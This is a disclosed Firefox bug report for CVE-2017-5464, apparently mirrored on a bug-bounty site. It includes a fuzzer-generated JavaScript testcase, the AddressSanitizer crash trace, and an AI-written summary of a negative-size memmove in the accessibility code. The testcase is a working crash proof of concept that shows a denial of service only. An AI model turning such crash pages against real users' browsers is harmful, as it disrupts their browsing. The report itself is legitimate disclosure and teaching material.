Skip to content
DoS Disclosed report Advanced CVE-2017-5464

negative size memmove in mozilla::a11y::Accessible::InsertChildAt

A crafted web page triggers a negative-size memmove in Firefox's accessibility code when ARIA ownership is revalidated, causing a crash. The report shows only a denial-of-service crash, not memory corruption or code execution.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 16 days
  • Paid in 17 days
  • Disclosed after 16 days

The following testcase crashes the latest ASAN build of Firefox (BuildID=20170313233726).

<script> function start() { fuzzPriv.enableAccessibility(); o2=document.createElement('iframe'); document.body.appendChild(o2); o51=document.body; o151=document.createElement('iframe'); o233=(new DOMParser()).parseFromString("<div><div>","text/html"); o236=o233.all[2]; o256=o233.all[3]; o256.appendChild(o51); document.replaceChild(o233.documentElement,document.documentElement); document.documentElement.appendChild(o151); o151.contentWindow.onresize=fun0; document.documentElement.replaceWith(o236,"x"); } function fun0 () { document.documentElement.appendChild(o256); o51.innerHTML="<marquee>><p><ul id='id56'>"; document.documentElement.setAttribute('aria-owns','id56'); setTimeout("location.reload()", 100); } </script> <body onload="start()"></body>

ASAN output:

==1262==ERROR: AddressSanitizer: negative-size-param: (size=-8) #0 0x49beeb in __asan_memmove /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425:3 #1 0x7f9e4c384d50 in MoveOverlappingRegion /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:620:5 #2 0x7f9e4c384d50 in ShiftData<nsTArrayInfallibleAllocator> /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray-inl.h:272 #3 0x7f9e4c384d50 in InsertElementAt<mozilla::a11y::Accessible &, nsTArrayInfallibleAllocator> /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:2064 #4 0x7f9e4c384d50 in mozilla::a11y::Accessible::InsertChildAt(unsigned int, mozilla::a11y::Accessible) /home/worker/workspace/build/src/accessible/generic/Accessible.cpp:2113 #5 0x7f9e4c3a6d42 in mozilla::a11y::DocAccessible::MoveChild(mozilla::a11y::Accessible*, mozilla::a11y::Accessible*, int) /home/worker/workspace/build/src/accessible/generic/DocAccessible.cpp:2239:3 #6 0x7f9e4c3a563b in mozilla::a11y::DocAccessible::PutChildrenBack(nsTArray<RefPtrmozilla::a11y::Accessible >, unsigned int) /home/worker/workspace/build/src/accessible/generic/DocAccessible.cpp:2184:5 #7 0x7f9e4c3a50cc in mozilla::a11y::DocAccessible::ValidateARIAOwned() /home/worker/workspace/build/src/accessible/generic/DocAccessible.cpp:2027:7 #8 0x7f9e4c30d0ab in mozilla::a11y::NotificationController::WillRefresh(mozilla::TimeStamp) /home/worker/workspace/build/src/accessible/base/NotificationController.cpp:790:3 #9 0x7f9e49ba72e8 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1863:7 #10 0x7f9e49bb17fa in nsRefreshDriver::FinishedWaitingForTransaction() /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2159:5 #11 0x7f9e45305eb7 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:495:5 #12 0x7f9e453edc80 in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:588:7 #13 0x7f9e4472cfeb in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1547:20 #14 0x7f9e4406cdb0 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1795:14 #15 0x7f9e440692a9 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1730:17 #16 0x7f9e4406b924 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1603:5 #17 0x7f9e4406bf6e in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1636:5 #18 0x7f9e432661b2 in nsThread::ProcessNextEvent(bool, bool) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7 #19 0x7f9e43262a60 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10 #20 0x7f9e44074cbf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #21 0x7f9e43fe68c8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #22 0x7f9e43fe68c8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #23 0x7f9e43fe68c8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #24 0x7f9e494d2bcf in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #25 0x7f9e4cd13467 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:854:12 #26 0x7f9e43fe68c8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #27 0x7f9e43fe68c8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #28 0x7f9e43fe68c8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #29 0x7f9e4cd12e69 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:686:7 #30 0x4e01b6 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:19 #31 0x4e01b6 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286 #32 0x7f9e5e72082f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291 #33 0x41c3d8 in _start (/home/nils/fuzzer3/firefox/firefox+0x41c3d8)

0x6030002fc788 is located 24 bytes inside of 32-byte region [0x6030002fc770,0x6030002fc790) allocated by thread T0 (Web Content) here: #0 0x4b319e in realloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:71:3 #1 0x4e136d in moz_xrealloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:105:20 #2 0x7f9e4302fa16 in Realloc /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:211:12 #3 0x7f9e4302fa16 in nsTArrayInfallibleAllocator::ResultTypeProxy nsTArray_base<nsTArrayInfallibleAllocator, nsTArray_CopyWithMemutils>::EnsureCapacity<nsTArrayInfallibleAllocator>(unsigned long, unsigned long) /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray-inl.h:183 #4 0x7f9e4c384c5b in AppendElement<mozilla::a11y::Accessible &, nsTArrayInfallibleAllocator> /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:2116:32 #5 0x7f9e4c384c5b in mozilla::a11y::Accessible::InsertChildAt(unsigned int, mozilla::a11y::Accessible) /home/worker/workspace/build/src/accessible/generic/Accessible.cpp:2109 #6 0x7f9e4c3a6d42 in mozilla::a11y::DocAccessible::MoveChild(mozilla::a11y::Accessible*, mozilla::a11y::Accessible*, int) /home/worker/workspace/build/src/accessible/generic/DocAccessible.cpp:2239:3 #7 0x7f9e4c3a563b in mozilla::a11y::DocAccessible::PutChildrenBack(nsTArray<RefPtrmozilla::a11y::Accessible >, unsigned int) /home/worker/workspace/build/src/accessible/generic/DocAccessible.cpp:2184:5 #8 0x7f9e4c3a50cc in mozilla::a11y::DocAccessible::ValidateARIAOwned() /home/worker/workspace/build/src/accessible/generic/DocAccessible.cpp:2027:7 #9 0x7f9e4c30d0ab in mozilla::a11y::NotificationController::WillRefresh(mozilla::TimeStamp) /home/worker/workspace/build/src/accessible/base/NotificationController.cpp:790:3 #10 0x7f9e49ba72e8 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1863:7 #11 0x7f9e49bb17fa in nsRefreshDriver::FinishedWaitingForTransaction() /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2159:5 #12 0x7f9e45305eb7 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:495:5 #13 0x7f9e453edc80 in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:588:7 #14 0x7f9e4472cfeb in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1547:20 #15 0x7f9e4406cdb0 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1795:14 #16 0x7f9e440692a9 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1730:17 #17 0x7f9e4406b924 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1603:5 #18 0x7f9e4406bf6e in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1636:5 #19 0x7f9e432661b2 in nsThread::ProcessNextEvent(bool, bool) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7 #20 0x7f9e43262a60 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10 #21 0x7f9e44074cbf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #22 0x7f9e43fe68c8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #23 0x7f9e43fe68c8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #24 0x7f9e43fe68c8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #25 0x7f9e494d2bcf in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #26 0x7f9e4cd13467 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:854:12 #27 0x7f9e43fe68c8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #28 0x7f9e43fe68c8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #29 0x7f9e43fe68c8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #30 0x7f9e4cd12e69 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:686:7 #31 0x4e01b6 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:19 #32 0x4e01b6 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286 #33 0x7f9e5e72082f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: negative-size-param /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425:3 in __asan_memmove ==1262==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely an incorrect index or count passed to InsertChildAt during ARIA ownership revalidation, causing a negative size in the underlying array shift.

Impact

The browser crashes, causing a denial of service; the report does not demonstrate memory corruption or code execution.

What the attacker needed

Victim visits a crafted page; accessibility enabled

How it was found

  1. Enable accessibility in the browser.
  2. Create and attach iframes and a parsed HTML document.
  3. Replace the document element and set an onresize handler.
  4. In the resize handler, append elements, set aria-owns, and reload the page.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a crash bug in Firefox's accessibility feature, which helps screen readers understand page structure. A malicious page can confuse the browser's internal list of page elements, making it try to move a negative amount of memory, which crashes the browser tab. The report only proves a crash, not that an attacker could run code.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.